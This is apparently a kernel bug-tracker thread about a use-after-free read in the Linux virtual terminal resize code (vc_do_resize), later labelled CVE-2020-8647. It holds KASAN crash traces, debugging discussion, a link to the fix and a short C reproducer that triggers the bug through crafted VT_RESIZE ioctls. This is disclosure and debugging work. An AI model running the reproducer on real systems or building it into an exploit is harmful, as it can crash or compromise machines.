Linux Kernel 5.4.7 - vc_do_resize use-after-free 0x01 - Introduction === # Product: Linux Kernel # Version: 5.4.7 (stable) and probably other versions # Bug: UAF (Read) # Tested on: GNU/Linux Debian 9 x86_64 0x02 - Details === There is a UAF read in "vc_do_resize" which is the resizing method for the tty. Code analysis (drivers/tty/vt/vt.c): static int vc_do_resize(struct tty_struct *tty, struct vc_data *vc, unsigned int cols, unsigned int lines) { unsigned long old_origin, new_origin, new_scr_end, rlth, rrem, err = 0; unsigned long end; unsigned int old_rows, old_row_size, first_copied_row; unsigned int new_cols, new_rows, new_row_size, new_screen_size; unsigned int user; unsigned short *newscreen; struct uni_screen *new_uniscr = NULL; WARN_CONSOLE_UNLOCKED(); if (!vc) return -ENXIO; user = vc->vc_resize_user; vc->vc_resize_user = 0; ../.. update_attr(vc); while (old_origin < end) { scr_memcpyw((unsigned short *) new_origin, // <-- UAF occurs here (unsigned short *) old_origin, rlth); if (rrem) scr_memsetw((void *)(new_origin + rlth), vc->vc_video_erase_char, rrem); old_origin += old_row_size; new_origin += new_row_size; } if (new_scr_end > new_origin) scr_memsetw((void *)new_origin, vc->vc_video_erase_char, new_scr_end - new_origin); kfree(vc->vc_screenbuf); vc->vc_screenbuf = newscreen; vc->vc_screenbuf_size = new_screen_size; set_origin(vc); 0x03 - Crash report === BUG: KASAN: use-after-free in memcpy include/linux/string.h:378 [inline] BUG: KASAN: use-after-free in scr_memcpyw include/linux/vt_buffer.h:49 [inline] BUG: KASAN: use-after-free in vc_do_resize+0x8f8/0x13f0 drivers/tty/vt/vt.c:1250 Read of size 258 at addr ffff8880000fffee by task syz-executor.2/18415 CPU: 3 PID: 18415 Comm: syz-executor.2 Not tainted 5.4.7 #1 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.12.0-1 04/01/2014 Call Trace: __dump_stack lib/dump_stack.c:77 [inline] dump_stack+0xee/0x16e lib/dump_stack.c:118 print_address_description.constprop.8+0x36/0x50 mm/kasan/report.c:374 __kasan_report.cold.11+0x1a/0x3a mm/kasan/report.c:506 kasan_report+0xe/0x20 mm/kasan/common.c:634 check_memory_region_inline mm/kasan/generic.c:185 [inline] check_memory_region+0x144/0x1c0 mm/kasan/generic.c:192 memcpy+0x1f/0x50 mm/kasan/common.c:122 memcpy include/linux/string.h:378 [inline] scr_memcpyw include/linux/vt_buffer.h:49 [inline] vc_do_resize+0x8f8/0x13f0 drivers/tty/vt/vt.c:1250 vt_ioctl+0x1319/0x28d0 drivers/tty/vt/vt_ioctl.c:840 tty_ioctl+0x525/0x15a0 drivers/tty/tty_io.c:2657 vfs_ioctl fs/ioctl.c:47 [inline] file_ioctl fs/ioctl.c:510 [inline] do_vfs_ioctl+0x1c5/0x1310 fs/ioctl.c:697 ksys_ioctl+0x9b/0xc0 fs/ioctl.c:714 __do_sys_ioctl fs/ioctl.c:721 [inline] __se_sys_ioctl fs/ioctl.c:719 [inline] __x64_sys_ioctl+0x6f/0xb0 fs/ioctl.c:719 do_syscall_64+0xbc/0x560 arch/x86/entry/common.c:290 entry_SYSCALL_64_after_hwframe+0x49/0xbe RIP: 0033:0x4662e9 Code: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fed90badc68 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 000000000052bfa8 RCX: 00000000004662e9 RDX: 0000000020000040 RSI: 0000000000005609 RDI: 0000000000000004 RBP: 00000000ffffffff R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00000000004a744b R13: 00000000004ef470 R14: 00000000004adbf5 R15: 00007fed90bae6bc The buggy address belongs to the page: page:ffffea0000003fc0 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 raw: 0000000000001000 ffffea0000003fc8 ffffea0000003fc8 0000000000000000 raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffff8880000fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ffff8880000fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >ffff888000100000: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ^ ffff888000100080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ffff888000100100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb ================================================================== Note: The UAF read could range from 4 to 6936 (and probably more) in my various reports.
Oh well... /* FIXME: all this needs locking */ /* Variables for selection control. */ ... static char *sel_buffer; Do we have a reproducer?
(In reply to Tristan from comment #0) > Read of size 258 at addr ffff8880000fffee by task syz-executor.2/18415 … > Call Trace: … > memcpy+0x1f/0x50 mm/kasan/common.c:122 This is: check_memory_region((unsigned long)src, len, false, _RET_IP_); So *src* of the memcpy is bad: > memcpy include/linux/string.h:378 [inline] > scr_memcpyw include/linux/vt_buffer.h:49 [inline] > vc_do_resize+0x8f8/0x13f0 drivers/tty/vt/vt.c:1250 which means old_origin is bad here: scr_memcpyw((unsigned short *) new_origin, (unsigned short *) old_origin, rlth); The accesses, allocs and frees are serialized by the console lock. > vt_ioctl+0x1319/0x28d0 drivers/tty/vt/vt_ioctl.c:840 … > The buggy address belongs to the page: > page:ffffea0000003fc0 refcount:1 mapcount:0 mapping:0000000000000000 > index:0x0 > raw: 0000000000001000 ffffea0000003fc8 ffffea0000003fc8 0000000000000000 > raw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000 > page dumped because: kasan: bad access detected It would help to see who and where freed the screen buffer. Or a reproducer would too.
(In reply to Tristan from comment #0) > Memory state around the buggy address: > ffff8880000fff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 > ffff8880000fff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 > >ffff888000100000: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb > ^ … > Note: The UAF read could range from 4 to 6936 (and probably more) in my > various reports. Also, could that be a simple out-of-bounds access instead of UAF? Do the accesses always start on a new page?
if (vc->vc_y > new_rows) { if (old_rows - vc->vc_y < new_rows) { /* * Cursor near the bottom, copy contents from the * bottom of buffer */ old_origin += (old_rows - new_rows) * old_row_size; } else { /* * Cursor is in no man's land, copy 1/2 screenful * from the top and bottom of cursor position */ old_origin += (vc->vc_y - new_rows/2) * old_row_size; } } end = old_origin + old_row_size * min(old_rows, new_rows); In function gotoxy update vc->vc_y, vc->vc_y always less than vc->vc_rows. so we can prove that "end" always less than real old_origin buffer end. It seems that not be a simple out-of-bounds. I try to reproduce, but i failed.
end = old_origin + old_row_size * min(old_rows, new_rows); If origin buffer is equal to vga_vram_base, if old_row_size great than vga_vram_size, end may great than vga_vram_end.
reproducer: vc_cve.c: #include <stdio.h> #include <sys/ioctl.h> #include "vt.h" #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> int main() { int fd; struct vt_consize size1 = {0x0, 0x4079, 0x200, 0x2, 0x0, 0x1}; ---具体环境不同需要调节参数 struct vt_consize size2 = {0x0, 0x400, 0x0, 0x0, 0x95, 0x1}; printf("start test\n"); fd = open("/dev/tty1", O_RDWR); if (fd < 0) { printf("open /dev/tty1 failed errno %d\n", fd); return 1; } int ret; ret = ioctl(fd, VT_RESIZE, &size1); if (ret < 0) { printf("resize 1 failed\n"); return 1; } ret = ioctl(fd, VT_RESIZE, &size2); if (ret < 0) { printf("resize 2 failed\n"); return 1; } close(fd); printf("end test \n"); return 0; } /mnt # ./vc_cve start test [ 76.282539] ================================================================== [ 76.282595] BUG: KASAN: use-after-free in vc_do_resize+0x76c/0x11d0 [ 76.282595] Read of size 2048 at addr ffff888000100882 by task vc_cve/1227 [ 76.282595] [ 76.282595] CPU: 0 PID: 1227 Comm: vc_cve Not tainted 5.3.0 #8 [ 76.282595] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.12.1-0-ga5cab58e9a3f-prebuilt.qemu.org 04/01/2014 [ 76.282595] Call Trace: [ 76.282595] dump_stack+0x5b/0x90 [ 76.282595] ? vc_do_resize+0x76c/0x11d0 [ 76.282595] print_address_description+0x67/0x32d [ 76.282595] ? vc_do_resize+0x76c/0x11d0 [ 76.282595] ? vc_do_resize+0x76c/0x11d0 [ 76.282595] __kasan_report.cold.6+0x1a/0x3e [ 76.282595] ? vc_do_resize+0x76c/0x11d0 [ 76.282595] kasan_report+0xe/0x12 [ 76.282595] check_memory_region+0x144/0x1c0 [ 76.282595] memcpy+0x1f/0x50 [ 76.282595] vc_do_resize+0x76c/0x11d0 [ 76.282595] ? _raw_spin_lock+0x75/0xd0 [ 76.282595] ? _raw_read_lock_bh+0x40/0x40 [ 76.282595] ? vc_uniscr_alloc+0x90/0x90 [ 76.282595] ? _raw_spin_lock_irqsave+0x7b/0xd0 [ 76.282595] ? _raw_spin_trylock_bh+0x120/0x120 [ 76.282595] ? security_capable+0x53/0x90 [ 76.282595] vt_ioctl+0x316/0x1fa0 [ 76.282595] ? complete_change_console+0x300/0x300 [ 76.282595] ? unwind_next_frame+0x10f5/0x1b20 [ 76.282595] ? deref_stack_reg+0xab/0xe0 [ 76.282595] ? __read_once_size_nocheck.constprop.8+0x10/0x10 [ 76.282595] ? mnt_get_count+0x140/0x140 [ 76.282595] ? unwind_next_frame+0xf4b/0x1b20 [ 76.282595] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 76.282595] ? terminate_walk+0x1d3/0x480 [ 76.282595] tty_ioctl+0x442/0x11b0 [ 76.282595] ? tty_vhangup+0x10/0x10 [ 76.282595] ? memcpy+0x34/0x50 [ 76.282595] ? avc_has_extended_perms+0x206/0xf30 [ 76.282595] ? avc_ss_reset+0x130/0x130 [ 76.282595] ? stack_trace_consume_entry+0x160/0x160 [ 76.282595] ? kmem_cache_alloc+0xb2/0x1c0 [ 76.282595] ? save_stack+0x4d/0x80 [ 76.282595] ? save_stack+0x19/0x80 [ 76.282595] ? __kasan_slab_free+0x12e/0x180 [ 76.282595] ? kmem_cache_free+0x7b/0x290 [ 76.282595] ? do_sys_open+0x166/0x350 [ 76.282595] ? do_syscall_64+0x89/0x2e0 [ 76.282595] ? entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 76.282595] ? up_read+0xf/0x90 [ 76.282595] ? _raw_spin_lock_irqsave+0x7b/0xd0 [ 76.282595] ? _raw_spin_trylock_bh+0x120/0x120 [ 76.282595] do_vfs_ioctl+0x18e/0xf00 [ 76.282595] ? ioctl_preallocate+0x1a0/0x1a0 [ 76.282595] ? selinux_file_ioctl+0x3b8/0x540 [ 76.282595] ? selinux_capable+0x20/0x20 [ 76.282595] ? __fsnotify_update_child_dentry_flags.part.3+0x330/0x330 [ 76.282595] ? __kasan_slab_free+0x143/0x180 [ 76.282595] ? do_sys_open+0x166/0x350 [ 76.282595] ksys_ioctl+0x5b/0x90 [ 76.282595] __x64_sys_ioctl+0x6a/0xb0 [ 76.282595] ? fpregs_assert_state_consistent+0x18/0x90 [ 76.282595] do_syscall_64+0x89/0x2e0 [ 76.282595] ? prepare_exit_to_usermode+0xe8/0x190 [ 76.282595] entry_SYSCALL_64_after_hwframe+0x44/0xa9 [ 76.282595] RIP: 0033:0x7ff7917cdb97 [ 76.282595] Code: 00 00 90 48 8b 05 09 73 2c 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d d9 728 [ 76.282595] RSP: 002b:00007fff928e7ad8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 [ 76.282595] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007ff7917cdb97 [ 76.282595] RDX: 00007fff928e7ae0 RSI: 0000000000005609 RDI: 0000000000000003 [ 76.282595] RBP: 00007fff928e7b00 R08: 0000000000000003 R09: 0000000000000000 [ 76.282595] R10: fffffffffffff3c7 R11: 0000000000000246 R12: 0000000000400520 [ 76.282595] R13: 00007fff928e7be0 R14: 0000000000000000 R15: 0000000000000000 [ 76.282595] [ 76.282595] The buggy address belongs to the page: [ 76.282595] page:ffffea0000004000 refcount:0 mapcount:-128 mapping:0000000000000000 index:0x0 [ 76.282595] flags: 0x0() [ 76.282595] raw: 0000000000000000 ffff88807ffdb300 ffff88807ffdb300 0000000000000000 [ 76.282595] raw: 0000000000000000 0000000000000008 00000000ffffff7f 0000000000000000 [ 76.282595] page dumped because: kasan: bad access detected [ 76.282595] [ 76.282595] Memory state around the buggy address: [ 76.282595] ffff888000100780: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 76.282595] ffff888000100800: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 76.282595] >ffff888000100880: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 76.282595] ^ [ 76.282595] ffff888000100900: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 76.282595] ffff888000100980: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff [ 76.282595] ================================================================== [ 76.282595] Disabling lock debugging due to kernel taint
This is fixed by: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=513dc792d6060d5ef572e43852683097a8420f56 And is also tracked as CVE-2020-8647.